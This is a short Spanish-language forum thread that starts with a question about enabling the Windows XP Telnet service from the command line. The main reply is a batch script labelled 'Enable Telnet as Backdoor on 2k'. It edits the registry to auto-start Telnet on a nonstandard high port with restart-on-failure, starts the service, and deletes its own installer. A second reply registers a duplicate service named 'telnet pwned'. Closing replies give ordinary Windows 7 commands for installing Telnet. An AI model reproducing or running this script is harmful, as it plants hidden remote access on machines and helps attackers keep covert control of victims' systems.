Hola se como habilitar el telnet desde la interface gráfica de windows Xp, pero lo que ando buscando es como habilitar el telnet desde la linea de comando
conozco este comando:
net start "telnet" // sirve para habilitarlo si el servicio esta en manual
PD. lo que quiero es poner el servicio telnet en manual, jeje desde la linea de comando, ayuda porfavor :S
En teoría esta el la ruta del ejecutable:
C:\WINDOWS\system32\tlntsvr.exe
Con un simple script en batch:
@echo off
@echo Enable Telnet as Backdoor on 2k
echo.
@echo Changing registry ...
@echo REGEDIT4>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr]>>temp.reg
echo. >>temp.reg
echo "ErrorControl"=dword:00000001>>temp.reg
echo "Start"=dword:00000002>>temp.reg
echo "Type"=dword:00000010>>temp.reg
echo "FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,00,01,00,00,00,60,e
a,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00>>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]>>temp.reg
echo. >>temp.reg
echo "NTLM"=dword:00000001>>temp.reg
echo "TelnetPort"=dword:0000ffff>>temp.reg
echo.
regedit /s temp.reg
echo Starting Service
net start tlntsvr
echo cleanup
del temp.reg
del install.cmd
Otra opción es crear otro servicio para el telnet y activarlo:
services CREATESVRANY "telnet2" "telnet pwned" "c:\windows\svrany.exe" "c:\windows\system32\tlntsvr.exe"
net start telnet2
En Windows 7 hay otra opción:
Activar el cliente.
pkgmgr /iu:"TelnetClient"
Activar el servidor.
pkgmgr /iu:"TelnetServer"
Muy bueno tu código, me puse a estudiarlo y ya lo entiendo, esta muy interesando ;-) ;-) ;-) ;-) ;-) Gracias!!